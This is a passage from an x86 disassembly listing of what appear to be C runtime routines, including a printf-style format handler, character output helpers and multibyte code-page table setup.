or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F83B: ; CODE XREF: sub_41F69F+186j
; sub_41F69F+18Cj
mov [ebp+var_30], edx
loc_41F83E: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
mov ecx, off_43C9A8 ; jumptable 0041F70D case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41F86A
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41F86A: ; CODE XREF: sub_41F69F+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FDE0
add esp, 0Ch
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F882: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 7
cmp eax, 67h
jg loc_41FAAA
cmp eax, 65h
jge loc_41F92D
cmp eax, 58h
jg loc_41F98B
jz loc_41FB1E
sub eax, 43h
jz loc_41F94E
dec eax
dec eax
jz short loc_41F923
dec eax
dec eax
jz short loc_41F923
sub eax, 0Ch
jnz loc_41FCA9
test word ptr [ebp+var_4], 830h
jnz short loc_41F8CC
or byte ptr [ebp+var_4+1], 8
loc_41F8CC: ; CODE XREF: sub_41F69F+227j
; sub_41F69F+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41F8D9
mov esi, 7FFFFFFFh
loc_41F8D9: ; CODE XREF: sub_41F69F+233j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41FAF2
test ecx, ecx
jnz short loc_41F901
mov ecx, off_43CBC4
mov [ebp+var_8], ecx
loc_41F901: ; CODE XREF: sub_41F69F+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41F90A: ; CODE XREF: sub_41F69F+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41FAE9
cmp word ptr [eax], 0
jz loc_41FAE9
inc eax
inc eax
jmp short loc_41F90A
; ---------------------------------------------------------------------------
loc_41F923: ; CODE XREF: sub_41F69F+212j
; sub_41F69F+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41F92D: ; CODE XREF: sub_41F69F+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41FA11
mov [ebp+var_10], 6
jmp loc_41FA1F
; ---------------------------------------------------------------------------
loc_41F94E: ; CODE XREF: sub_41F69F+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41F95A
or byte ptr [ebp+var_4+1], 8
loc_41F95A: ; CODE XREF: sub_41F69F+2B5j
; sub_41F69F+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41F9A1
call sub_41FE9B
push eax
lea eax, [ebp+var_248]
push eax
call sub_423E5B
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_41F9B4
mov [ebp+var_28], 1
jmp short loc_41F9B4
; ---------------------------------------------------------------------------
loc_41F98B: ; CODE XREF: sub_41F69F+1FBj
sub eax, 5Ah
jz short loc_41F9C2
sub eax, 9
jz short loc_41F95A
dec eax
jz loc_41FB84
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j
call sub_41FE7E
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j
; sub_41F69F+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
jz short loc_41FA03
mov ecx, [eax+4]
test ecx, ecx
jz short loc_41FA03
test byte ptr [ebp+var_4+1], 8
jz short loc_41F9F4
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41FCA9
; ---------------------------------------------------------------------------
loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FA03: ; CODE XREF: sub_41F69F+32Fj
; sub_41F69F+336j
mov eax, off_43CBC0
mov [ebp+var_8], eax
push eax
jmp loc_41FA9F
; ---------------------------------------------------------------------------
loc_41FA11: ; CODE XREF: sub_41F69F+29Dj
jnz short loc_41FA1F
cmp bl, 67h
jnz short loc_41FA1F
mov [ebp+var_10], 1
loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj
; sub_41F69F:loc_41FA11j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43CF50
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41FA71
cmp [ebp+var_10], 0
jnz short loc_41FA71
lea eax, [ebp+var_248]
push eax
call off_43CF5C
pop ecx
loc_41FA71: ; CODE XREF: sub_41F69F+3BCj
; sub_41F69F+3C2j
cmp bl, 67h
jnz short loc_41FA88
test esi, esi
jnz short loc_41FA88
lea eax, [ebp+var_248]
push eax
call off_43CF54
pop ecx
loc_41FA88: ; CODE XREF: sub_41F69F+3D5j
; sub_41F69F+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41FA9E
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j
push edi
loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj
call sub_41AFE0
pop ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j
sub eax, 69h
jz loc_41FB84
sub eax, 5
jz loc_41FB5A
dec eax
jz loc_41FB47
dec eax
jz short loc_41FB17
sub eax, 3
jz loc_41F8CC
dec eax
dec eax
jz loc_41FB88
sub eax, 3
jnz loc_41FCA9
mov [ebp+var_2C], 27h
jmp short loc_41FB25
; ---------------------------------------------------------------------------
loc_41FAE9: ; CODE XREF: sub_41F69F+270j
; sub_41F69F+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj
test ecx, ecx
jnz short loc_41FAFF
mov ecx, off_43CBC0
mov [ebp+var_8], ecx
loc_41FAFF: ; CODE XREF: sub_41F69F+455j
mov eax, ecx
loc_41FB01: ; CODE XREF: sub_41F69F+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41FB10
cmp byte ptr [eax], 0
jz short loc_41FB10
inc eax
jmp short loc_41FB01
; ---------------------------------------------------------------------------
loc_41FB10: ; CODE XREF: sub_41F69F+467j
; sub_41F69F+46Cj
sub eax, ecx
jmp loc_41FCA6
; ---------------------------------------------------------------------------
loc_41FB17: ; CODE XREF: sub_41F69F+425j
mov [ebp+var_10], 8
loc_41FB1E: ; CODE XREF: sub_41F69F+201j
mov [ebp+var_2C], 7
loc_41FB25: ; CODE XREF: sub_41F69F+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41FB8F
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB47: ; CODE XREF: sub_41F69F+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41FB8F
or byte ptr [ebp+var_4+1], 2
jmp short loc_41FB8F
; ---------------------------------------------------------------------------
loc_41FB5A: ; CODE XREF: sub_41F69F+417j
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41FB73
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41FB78
; ---------------------------------------------------------------------------
loc_41FB73: ; CODE XREF: sub_41F69F+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41FB78: ; CODE XREF: sub_41F69F+4D2j
mov [ebp+var_28], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41FB84: ; CODE XREF: sub_41F69F+2F7j
; sub_41F69F+40Ej
or [ebp+var_4], 40h
loc_41FB88: ; CODE XREF: sub_41F69F+432j
mov [ebp+var_C], 0Ah
loc_41FB8F: ; CODE XREF: sub_41F69F+491j
; sub_41F69F+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_41FBA1
lea eax, [ebp+arg_8]
push eax
call sub_41FE8B
pop ecx
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_41FBC8
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBBD
call sub_41FE7E
pop ecx
movsx eax, ax
loc_41FBBA: ; CODE XREF: sub_41F69F+527j
; sub_41F69F+539j
cdq
jmp short loc_41FBE2
; ---------------------------------------------------------------------------
loc_41FBBD: ; CODE XREF: sub_41F69F+510j
call sub_41FE7E
pop ecx
movzx eax, ax
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBC8: ; CODE XREF: sub_41F69F+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_41FBDA
call sub_41FE7E
pop ecx
jmp short loc_41FBBA
; ---------------------------------------------------------------------------
loc_41FBDA: ; CODE XREF: sub_41F69F+531j
call sub_41FE7E
pop ecx
xor edx, edx
loc_41FBE2: ; CODE XREF: sub_41F69F+500j
; sub_41F69F+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_41FC03
test edx, edx
jg short loc_41FC03
jl short loc_41FBF2
test eax, eax
jnb short loc_41FC03
loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_41FC07
; ---------------------------------------------------------------------------
loc_41FC03: ; CODE XREF: sub_41F69F+547j
; sub_41F69F+54Bj ...
mov esi, eax
mov edi, edx
loc_41FC07: ; CODE XREF: sub_41F69F+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41FC10
and edi, 0
loc_41FC10: ; CODE XREF: sub_41F69F+56Cj
cmp [ebp+var_10], 0
jge short loc_41FC1F
mov [ebp+var_10], 1
jmp short loc_41FC23
; ---------------------------------------------------------------------------
loc_41FC1F: ; CODE XREF: sub_41F69F+575j
and [ebp+var_4], 0FFFFFFF7h
loc_41FC23: ; CODE XREF: sub_41F69F+57Ej
mov eax, esi
or eax, edi
jnz short loc_41FC2D
and [ebp+var_1C], 0
loc_41FC2D: ; CODE XREF: sub_41F69F+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_41FC33: ; CODE XREF: sub_41F69F+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_41FC43
mov eax, esi
or eax, edi
jz short loc_41FC7E
loc_41FC43: ; CODE XREF: sub_41F69F+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_41D480
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_41D410
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_41FC74
add ebx, [ebp+var_2C]
loc_41FC74: ; CODE XREF: sub_41F69F+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_41FC33
; ---------------------------------------------------------------------------
loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_41FCA9
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_41FC9C
test eax, eax
jnz short loc_41FCA9
loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj
; sub_41F69F+406j ...
mov [ebp+var_C], eax
loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj
; sub_41F69F+2FDj ...
cmp [ebp+var_28], 0
jnz loc_41FDA7 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41FCE1
test bh, 1
jz short loc_41FCC6
mov [ebp+var_16], 2Dh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj
test bl, 1
jz short loc_41FCD1
mov [ebp+var_16], 2Bh
jmp short loc_41FCDA
; ---------------------------------------------------------------------------
loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj
test bl, 2
jz short loc_41FCE1
mov [ebp+var_16], 20h
loc_41FCDA: ; CODE XREF: sub_41F69F+625j
; sub_41F69F+630j
mov [ebp+var_1C], 1
loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj
; sub_41F69F+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41FD01
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FD01: ; CODE XREF: sub_41F69F+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_41FE46
add esp, 10h
test bl, 8
jz short loc_41FD33
test bl, 4
jnz short loc_41FD33
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_41FE15
add esp, 10h
loc_41FD33: ; CODE XREF: sub_41F69F+67Bj
; sub_41F69F+680j
cmp [ebp+var_24], 0
jz short loc_41FD7A
cmp [ebp+var_C], 0
jle short loc_41FD7A
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_41FD48: ; CODE XREF: sub_41F69F+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_423E5B
pop ecx
test eax, eax
pop ecx
jle short loc_41FD8F
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_41FE46
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_41FD48
jmp short loc_41FD8F
; ---------------------------------------------------------------------------
loc_41FD7A: ; CODE XREF: sub_41F69F+698j
; sub_41F69F+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_41FE46
add esp, 10h
loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj
; sub_41F69F+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_41FDA7 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_41FE15
add esp, 10h
loc_41FDA7: ; CODE XREF: sub_41F69F+68j
; sub_41F69F+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_41F6CB
loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj
; sub_41F69F+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41F69F endp
; ---------------------------------------------------------------------------
off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er
dd offset loc_41F714 ; jump table for switch statement
dd offset loc_41F72F
dd offset loc_41F77B
dd offset loc_41F7B2
dd offset loc_41F7BA
dd offset loc_41F7EF
dd offset loc_41F882
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp
; sub_41F69F+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
dec dword ptr [ecx+4]
js short loc_41FDF9
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
inc dword ptr [ecx]
movzx eax, al
jmp short loc_41FE04
; ---------------------------------------------------------------------------
loc_41FDF9: ; CODE XREF: sub_41FDE0+9j
push ecx
push [ebp+arg_0]
call sub_41F58A
pop ecx
pop ecx
loc_41FE04: ; CODE XREF: sub_41FDE0+17j
cmp eax, 0FFFFFFFFh
mov eax, [ebp+arg_8]
jnz short loc_41FE11
or dword ptr [eax], 0FFFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj
inc dword ptr [eax]
pop ebp
retn
sub_41FDE0 endp
; =============== S U B R O U T I N E =======================================
sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap
; sub_41F69F+68Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
push edi
mov edi, [esp+8+arg_4]
mov eax, edi
dec edi
test eax, eax
jle short loc_41FE43
mov esi, [esp+8+arg_C]
loc_41FE26: ; CODE XREF: sub_41FE15+2Cj
push esi
push [esp+0Ch+arg_8]
push [esp+10h+arg_0]
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_41FE43
mov eax, edi
dec edi
test eax, eax
jg short loc_41FE26
loc_41FE43: ; CODE XREF: sub_41FE15+Bj
; sub_41FE15+25j
pop edi
pop esi
retn
sub_41FE15 endp
; =============== S U B R O U T I N E =======================================
sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p
; sub_41F69F+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_41FE7A
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_41FE5C: ; CODE XREF: sub_41FE46+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41FDE0
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_41FE7A
mov eax, ebx
dec ebx
test eax, eax
jg short loc_41FE5C
loc_41FE7A: ; CODE XREF: sub_41FE46+Cj
; sub_41FE46+2Bj
pop edi
pop esi
pop ebx
retn
sub_41FE46 endp
; =============== S U B R O U T I N E =======================================
sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p
; sub_41F69F+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41FE7E endp
; =============== S U B R O U T I N E =======================================
sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_41FE8B endp
; =============== S U B R O U T I N E =======================================
sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_41FE9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp
var_18 = dword ptr -18h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_420042
mov esi, eax
pop ecx
cmp esi, dword_4DCD84
mov [ebp+arg_0], esi
jz loc_420036
xor ebx, ebx
cmp esi, ebx
jz loc_42002C
xor edx, edx
mov eax, offset dword_43CBD0
loc_41FEDD: ; CODE XREF: sub_41FEA9+41j
cmp [eax], esi
jz short loc_41FF53
add eax, 30h
inc edx
cmp eax, offset dword_43CCC0
jl short loc_41FEDD
lea eax, [ebp+var_18]
push eax
push esi
nop
call near ptr 2A70000h
cmp eax, 1
jnz loc_420024
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DCEA0
cmp [ebp+var_18], 1
mov dword_4DCD84, esi
rep stosd
stosb
mov dword_4DCFA4, ebx
jbe loc_420012
cmp [ebp+var_12], 0
jz loc_41FFE8
lea ecx, [ebp+var_11]
loc_41FF30: ; CODE XREF: sub_41FEA9+139j
mov dl, [ecx]
test dl, dl
jz loc_41FFE8
movzx eax, byte ptr [ecx-1]
movzx edx, dl
loc_41FF41: ; CODE XREF: sub_41FEA9+A8j
cmp eax, edx
ja loc_41FFDC
or byte_4DCEA1[eax], 4
inc eax
jmp short loc_41FF41
; ---------------------------------------------------------------------------
loc_41FF53: ; CODE XREF: sub_41FEA9+36j
push 40h
xor eax, eax
pop ecx
mov edi, offset byte_4DCEA0
rep stosd
lea esi, [edx+edx*2]
mov [ebp+var_4], ebx
shl esi, 4
stosb
lea ebx, dword_43CBE0[esi]
loc_41FF6F: ; CODE XREF: sub_41FEA9+103j
cmp byte ptr [ebx], 0
mov ecx, ebx
jz short loc_41FFA2
loc_41FF76: ; CODE XREF: sub_41FEA9+F7j
mov dl, [ecx+1]
test dl, dl
jz short loc_41FFA2
movzx eax, byte ptr [ecx]
movzx edi, dl
cmp eax, edi
ja short loc_41FF9B
mov edx, [ebp+var_4]
mov dl, byte_43CBC8[edx]
loc_41FF90: ; CODE XREF: sub_41FEA9+F0j
or byte_4DCEA1[eax], dl
inc eax
cmp eax, edi
jbe short loc_41FF90
loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj
inc ecx
inc ecx
cmp byte ptr [ecx], 0
jnz short loc_41FF76
loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj
; sub_41FEA9+D2j
inc [ebp+var_4]
add ebx, 8
cmp [ebp+var_4], 4
jb short loc_41FF6F
mov eax, [ebp+arg_0]
mov dword_4DCD9C, 1
push eax
mov dword_4DCD84, eax
call sub_42008C
lea esi, dword_43CBD4[esi]
mov edi, offset dword_4DCD90
movsd
movsd
pop ecx
mov dword_4DCFA4, eax
movsd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj
inc ecx
inc ecx
cmp byte ptr [ecx-1], 0
jnz loc_41FF30
loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej
; sub_41FEA9+8Bj
push 1
pop eax
loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj
or byte_4DCEA1[eax], 8
inc eax
cmp eax, 0FFh
jb short loc_41FFEB
push esi
call sub_42008C
pop ecx
mov dword_4DCFA4, eax
mov dword_4DCD9C, 1
jmp short loc_420018
; ---------------------------------------------------------------------------
loc_420012: ; CODE XREF: sub_41FEA9+74j
mov dword_4DCD9C, ebx
loc_420018: ; CODE XREF: sub_41FEA9+167j
xor eax, eax
mov edi, offset dword_4DCD90
stosd
stosd
stosd
jmp short loc_420031
; ---------------------------------------------------------------------------
loc_420024: ; CODE XREF: sub_41FEA9+51j
cmp dword_4DB9B0, ebx
jz short loc_42003A
loc_42002C: ; CODE XREF: sub_41FEA9+27j
call sub_4200BF
loc_420031: ; CODE XREF: sub_41FEA9+131j
; sub_41FEA9+179j
call sub_4200E8
loc_420036: ; CODE XREF: sub_41FEA9+1Dj
xor eax, eax
jmp short loc_42003D
; ---------------------------------------------------------------------------
loc_42003A: ; CODE XREF: sub_41FEA9+181j
or eax, 0FFFFFFFFh
loc_42003D: ; CODE XREF: sub_41FEA9+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41FEA9 endp
; =============== S U B R O U T I N E =======================================
sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
and dword_4DB9B0, 0
cmp eax, 0FFFFFFFEh
jnz short loc_420062
mov dword_4DB9B0, 1
nop
jmp near ptr 2800599h
; ---------------------------------------------------------------------------
loc_420062: ; CODE XREF: sub_420042+Ej
cmp eax, 0FFFFFFFDh
jnz short loc_420077
mov dword_4DB9B0, 1
jmp near ptr 2A7075Dh
; ---------------------------------------------------------------------------
dec ebx
loc_420077: ; CODE XREF: sub_420042+23j
cmp eax, 0FFFFFFFCh
jnz short locret_42008B
mov eax, dword_4DB9F4
mov dword_4DB9B0, 1
locret_42008B: ; CODE XREF: sub_420042+38j
retn
sub_420042 endp
; =============== S U B R O U T I N E =======================================
sub_42008C proc near ; CODE XREF: sub_41FEA9+118p
; sub_41FEA9+152p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
sub eax, 3A4h
jz short loc_4200B9
sub eax, 4
jz short loc_4200B3
sub eax, 0Dh
jz short loc_4200AD
dec eax
jz short loc_4200A7
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4200A7: ; CODE XREF: sub_42008C+16j
mov eax, 404h
retn
; ---------------------------------------------------------------------------
loc_4200AD: ; CODE XREF: sub_42008C+13j
mov eax, 412h
retn
; ---------------------------------------------------------------------------
loc_4200B3: ; CODE XREF: sub_42008C+Ej
mov eax, 804h
retn
; ---------------------------------------------------------------------------
loc_4200B9: ; CODE XREF: sub_42008C+9j
mov eax, 411h
retn
sub_42008C endp
; =============== S U B R O U T I N E =======================================
sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp
push edi
push 40h
pop ecx
xor eax, eax
mov edi, offset byte_4DCEA0
rep stosd
stosb
xor eax, eax
mov edi, offset dword_4DCD90
mov dword_4DCD84, eax
mov dword_4DCD9C, eax
mov dword_4DCFA4, eax
stosd
stosd
stosd
pop edi
retn
sub_4200BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p
var_514 = byte ptr -514h
var_314 = byte ptr -314h
var_214 = byte ptr -214h
var_114 = byte ptr -114h
var_14 = byte ptr -14h
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
push ebp
mov ebp, esp
sub esp, 514h
lea eax, [ebp+var_14]
push esi
push eax
push dword_4DCD84
nop
call near ptr 2A70000h
cmp eax, 1
jnz loc_420221
xor eax, eax
mov esi, 100h
loc_420112: ; CODE XREF: sub_4200E8+34j
mov [ebp+eax+var_114], al
inc eax
cmp eax, esi
jb short loc_420112
mov al, [ebp+var_E]
mov [ebp+var_114], 20h
test al, al
jz short loc_420163
push ebx
push edi
lea edx, [ebp+var_D]
loc_420131: ; CODE XREF: sub_4200E8+77j
movzx ecx, byte ptr [edx]
movzx eax, al
cmp eax, ecx
ja short loc_420158
sub ecx, eax
lea edi, [ebp+eax+var_114]
inc ecx
mov eax, 20202020h
mov ebx, ecx
shr ecx, 2
rep stosd
mov ecx, ebx
and ecx, 3
rep stosb
loc_420158: ; CODE XREF: sub_4200E8+51j
inc edx
inc edx
mov al, [edx-1]
test al, al
jnz short loc_420131
pop edi
pop ebx
loc_420163: ; CODE XREF: sub_4200E8+42j
push 0
lea eax, [ebp+var_514]
push dword_4DCFA4
push dword_4DCD84
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 1
call sub_423CEC
push 0
lea eax, [ebp+var_214]
push dword_4DCD84
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push esi
push dword_4DCFA4
call sub_422ACA
push 0
lea eax, [ebp+var_314]
push dword_4DCD84
push esi
push eax
lea eax, [ebp+var_114]
push esi
push eax
push 200h
push dword_4DCFA4
call sub_422ACA
add esp, 5Ch
xor eax, eax
lea ecx, [ebp+var_514]
loc_4201DE: ; CODE XREF: sub_4200E8+135j
mov dx, [ecx]
test dl, 1
jz short loc_4201FC
or byte_4DCEA1[eax], 10h
mov dl, [ebp+eax+var_214]
loc_4201F4: ; CODE XREF: sub_4200E8+127j
mov byte_4DCDA0[eax], dl
jmp short loc_420218
; ---------------------------------------------------------------------------
loc_4201FC: ; CODE XREF: sub_4200E8+FCj
test dl, 2
jz short loc_420211
or byte_4DCEA1[eax], 20h
mov dl, [ebp+eax+var_314]
jmp short loc_4201F4
; ---------------------------------------------------------------------------
loc_420211: ; CODE XREF: sub_4200E8+117j
and byte_4DCDA0[eax], 0
loc_420218: ; CODE XREF: sub_4200E8+112j
inc eax
inc ecx
inc ecx
cmp eax, esi
jb short loc_4201DE
jmp short loc_42026A
; ---------------------------------------------------------------------------
loc_420221: ; CODE XREF: sub_4200E8+1Dj
xor eax, eax
mov esi, 100h
loc_420228: ; CODE XREF: sub_4200E8+180j
cmp eax, 41h
jb short loc_420246
cmp eax, 5Ah
ja short loc_420246
or byte_4DCEA1[eax], 10h
mov cl, al
add cl, 20h
loc_42023E: ; CODE XREF: sub_4200E8+174j
mov byte_4DCDA0[eax], cl
jmp short loc_420265
; ---------------------------------------------------------------------------
loc_420246: ; CODE XREF: sub_4200E8+143j
; sub_4200E8+148j
